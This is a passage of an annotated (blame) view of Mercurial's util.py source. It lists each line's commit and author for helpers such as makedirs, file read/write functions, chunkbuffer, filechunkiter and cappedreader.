81f33be0ea79 util: postpone and reorder parent calculation in makedirs Adrian Buehlmann <adrian@cadifra.com> parents: 15057 diff changeset	2529 if parent == name:
6062 3c3b126e5619 Make files in .hg inherit the permissions from .hg/store Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 6007 diff changeset	2530 raise
18938 e22107cff6bf util: add notindexed optional parameter to makedirs function Angel Ezquerra <angel.ezquerra@gmail.com> parents: 18930 diff changeset	2531 makedirs(parent, mode, notindexed)
29017 07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2532 try:
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2533 makedir(name, notindexed)
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2534 except OSError as err:
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2535 # Catch EEXIST to handle races
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2536 if err.errno == errno.EEXIST:
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2537 return
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2538 raise
18678 423eee0b0b14 util: make ensuredirs safer against races Bryan O'Sullivan <bryano@fb.com> parents: 18668 diff changeset	2539 if mode is not None:
423eee0b0b14 util: make ensuredirs safer against races Bryan O'Sullivan <bryano@fb.com> parents: 18668 diff changeset	2540 os.chmod(name, mode)
18668 4034b8d551b1 scmutil: create directories in a race-safe way during update Bryan O'Sullivan <bryano@fb.com> parents: 18614 diff changeset	2541
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2542
14099 0824a0a3cefc util: add readfile() & writefile() helper functions Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14077 diff changeset	2543 def readfile(path):
27778 4d10600c3f08 util: simplify file I/O functions using context managers Bryan O'Sullivan <bryano@fb.com> parents: 27768 diff changeset	2544 with open(path, 'rb') as fp:
14100 3e9e02a41dfb util: really drop size from readfile Matt Mackall <mpm@selenic.com> parents: 14099 diff changeset	2545 return fp.read()
14099 0824a0a3cefc util: add readfile() & writefile() helper functions Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14077 diff changeset	2546
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2547
14167 0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14147 diff changeset	2548 def writefile(path, text):
27778 4d10600c3f08 util: simplify file I/O functions using context managers Bryan O'Sullivan <bryano@fb.com> parents: 27768 diff changeset	2549 with open(path, 'wb') as fp:
14167 0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14147 diff changeset	2550 fp.write(text)
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14147 diff changeset	2551
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2552
14167 0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14147 diff changeset	2553 def appendfile(path, text):
27778 4d10600c3f08 util: simplify file I/O functions using context managers Bryan O'Sullivan <bryano@fb.com> parents: 27768 diff changeset	2554 with open(path, 'ab') as fp:
14099 0824a0a3cefc util: add readfile() & writefile() helper functions Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14077 diff changeset	2555 fp.write(text)
0824a0a3cefc util: add readfile() & writefile() helper functions Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14077 diff changeset	2556
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2557
1199 78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2558 class chunkbuffer(object):
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2559 """Allow arbitrary sized chunks of data to be efficiently read from an
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2560 iterator over chunks of arbitrary size."""
1200 333de1d53846 Minor cleanups. Bryan O'Sullivan <bos@serpentine.com> parents: 1199 diff changeset	2561
5446 fa836e050c50 chunkbuffer: removed unused method and arg Matt Mackall <mpm@selenic.com> parents: 5420 diff changeset	2562 def __init__(self, in_iter):
32176 5f53c267e362 util: remove doc of long gone 'targetsize' argument Martin von Zweigbergk <martinvonz@google.com> parents: 31952 diff changeset	2563 """in_iter is the iterator that's iterating over the input chunks."""
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2564
11670 1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2565 def splitbig(chunks):
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2566 for chunk in chunks:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2567 if len(chunk) > 2 ** 20:
11670 1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2568 pos = 0
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2569 while pos < len(chunk):
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2570 end = pos + 2 ** 18
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2571 yield chunk[pos:end]
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2572 pos = end
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2573 else:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2574 yield chunk
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2575
11670 1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2576 self.iter = splitbig(in_iter)
25113 0ca8410ea345 util: drop alias for collections.deque Martin von Zweigbergk <martinvonz@google.com> parents: 25112 diff changeset	2577 self._queue = collections.deque()
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2578 self._chunkoffset = 0
1200 333de1d53846 Minor cleanups. Bryan O'Sullivan <bos@serpentine.com> parents: 1199 diff changeset	2579
21018 c848bfd02366 util: support None size in chunkbuffer.read() Pierre-Yves David <pierre-yves.david@fb.com> parents: 20835 diff changeset	2580 def read(self, l=None):
1200 333de1d53846 Minor cleanups. Bryan O'Sullivan <bos@serpentine.com> parents: 1199 diff changeset	2581 """Read L bytes of data from the iterator of chunks of data.
21018 c848bfd02366 util: support None size in chunkbuffer.read() Pierre-Yves David <pierre-yves.david@fb.com> parents: 20835 diff changeset	2582 Returns less than L bytes if the iterator runs dry.
c848bfd02366 util: support None size in chunkbuffer.read() Pierre-Yves David <pierre-yves.david@fb.com> parents: 20835 diff changeset	2583
23139 e53f6b72a0e4 spelling: fixes from proofreading of spell checker issues Mads Kiilerich <madski@unity3d.com> parents: 23097 diff changeset	2584 If size parameter is omitted, read everything"""
26478 a3f7e5461dbd util.chunkbuffer: special case reading everything Gregory Szorc <gregory.szorc@gmail.com> parents: 26450 diff changeset	2585 if l is None:
a3f7e5461dbd util.chunkbuffer: special case reading everything Gregory Szorc <gregory.szorc@gmail.com> parents: 26450 diff changeset	2586 return ''.join(self.iter)
a3f7e5461dbd util.chunkbuffer: special case reading everything Gregory Szorc <gregory.szorc@gmail.com> parents: 26450 diff changeset	2587
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2588 left = l
17962 4c29668ca316 util: make chunkbuffer non-quadratic on Windows Matt Mackall <mpm@selenic.com> parents: 17560 diff changeset	2589 buf = []
16873 37e081609828 util: simplify queue management in chunkbuffer Bryan O'Sullivan <bryano@fb.com> parents: 16834 diff changeset	2590 queue = self._queue
26478 a3f7e5461dbd util.chunkbuffer: special case reading everything Gregory Szorc <gregory.szorc@gmail.com> parents: 26450 diff changeset	2591 while left > 0:
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2592 # refill the queue
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2593 if not queue:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2594 target = 2 ** 18
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2595 for chunk in self.iter:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2596 queue.append(chunk)
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2597 target -= len(chunk)
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2598 if target <= 0:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2599 break
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2600 if not queue:
1199 78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2601 break
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2602
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2603 # The easy way to do this would be to queue.popleft(), modify the
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2604 # chunk (if necessary), then queue.appendleft(). However, for cases
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2605 # where we read partial chunk content, this incurs 2 dequeue
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2606 # mutations and creates a new str for the remaining chunk in the
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2607 # queue. Our code below avoids this overhead.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2608
26479 46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2609 chunk = queue[0]
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2610 chunkl = len(chunk)
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2611 offset = self._chunkoffset
26479 46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2612
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2613 # Use full chunk.
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2614 if offset == 0 and left >= chunkl:
26479 46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2615 left -= chunkl
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2616 queue.popleft()
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2617 buf.append(chunk)
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2618 # self._chunkoffset remains at 0.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2619 continue
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2620
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2621 chunkremaining = chunkl - offset
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2622
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2623 # Use all of unconsumed part of chunk.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2624 if left >= chunkremaining:
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2625 left -= chunkremaining
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2626 queue.popleft()
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2627 # offset == 0 is enabled by block above, so this won't merely
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2628 # copy via ``chunk[0:]``.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2629 buf.append(chunk[offset:])
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2630 self._chunkoffset = 0
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2631
26479 46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2632 # Partial chunk needed.
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2633 else:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2634 buf.append(chunk[offset : offset + left])
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2635 self._chunkoffset += left
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2636 left -= chunkremaining
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2637
17962 4c29668ca316 util: make chunkbuffer non-quadratic on Windows Matt Mackall <mpm@selenic.com> parents: 17560 diff changeset	2638 return ''.join(buf)
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2639
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2640
30181 7356e6b1f5b8 util: increase filechunkiter size to 128k Mads Kiilerich <madski@unity3d.com> parents: 30087 diff changeset	2641 def filechunkiter(f, size=131072, limit=None):
2462 d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2642 """Create a generator that produces the data in the file size
30181 7356e6b1f5b8 util: increase filechunkiter size to 128k Mads Kiilerich <madski@unity3d.com> parents: 30087 diff changeset	2643 (default 131072) bytes at a time, up to optional limit (default is
2462 d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2644 to read all data). Chunks may be less than size bytes if the
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2645 chunk is the last chunk in the file, or the file is a socket or
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2646 some other type of file that sometimes reads less data than is
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2647 requested."""
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2648 assert size >= 0
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2649 assert limit is None or limit >= 0
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2650 while True:
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2651 if limit is None:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2652 nbytes = size
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2653 else:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2654 nbytes = min(limit, size)
2462 d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2655 s = nbytes and f.read(nbytes)
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2656 if not s:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2657 break
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2658 if limit:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2659 limit -= len(s)
1199 78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2660 yield s
1320 5f277e73778f Fix up representation of dates in hgweb. Bryan O'Sullivan <bos@serpentine.com> parents: 1312 diff changeset	2661
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2662
36395 01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2663 class cappedreader(object):
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2664 """A file object proxy that allows reading up to N bytes.
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2665
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2666 Given a source file object, instances of this type allow reading up to
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2667 N bytes from that source file object. Attempts to read past the allowed
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2668 limit are treated as EOF.
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2669
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2670 It is assumed that I/O is not performed on the original file object
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2671 in addition to I/O that is performed by this instance. If there is,
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2672 state tracking will get out of sync and unexpected results will ensue.
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2673 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2674
36395 01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2675 def __init__(self, fh, limit):
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2676 """Allow reading up to <limit> bytes from <fh>."""
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2677 self._fh = fh
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2678 self._left = limit
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2679
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2680 def read(self, n=-1):
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2681 if not self._left:
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2682 return b''
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2683
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2684 if n < 0:
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2685 n = self._left
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2686
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2687 data = self._fh.read(min(n, self._left))
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2688 self._left -= len(data)
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2689 assert self._left >= 0
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2690
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2691 return data
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2692
37055 8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2693 def readinto(self, b):
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2694 res = self.read(len(b))
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2695 if res is None:
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2696 return None
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2697
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2698 b[0 : len(res)] = res
37055 8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2699 return len(res)
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2700
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2701
18735 716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2702 def unitcountfn(*unittable):
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2703 '''return a function that renders a readable count of some quantity'''
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2704
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2705 def go(count):
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2706 for multiplier, divisor, format in unittable:
31946 f3b80537a70d util: fix human-readable printing of negative byte counts G?bor Stefanik <gabor.stefanik@nng.com> parents: 31934 diff changeset	2707 if abs(count) >= divisor * multiplier:
18735 716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2708 return format % (count / float(divisor))
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2709 return unittable[-1][2] % count
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2710
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2711 return go
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2712
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2713
31667 080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2714 def processlinerange(fromline, toline):
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2715 """Check that linerange <fromline>:<toline> makes sense and return a
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2716 0-based range.
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2717
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2718 >>> processlinerange(10, 20)
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2719 (9, 20)
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2720 >>> processlinerange(2, 1)
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2721 Traceback (most recent call last):
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2722 ...
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2723 ParseError: line range must be positive
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2724 >>> processlinerange(0, 5)
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2725 Traceback (most recent call last):
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2726 ...
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2727 ParseError: fromline must be strictly positive
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2728 """
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2729 if toline - fromline < 0:
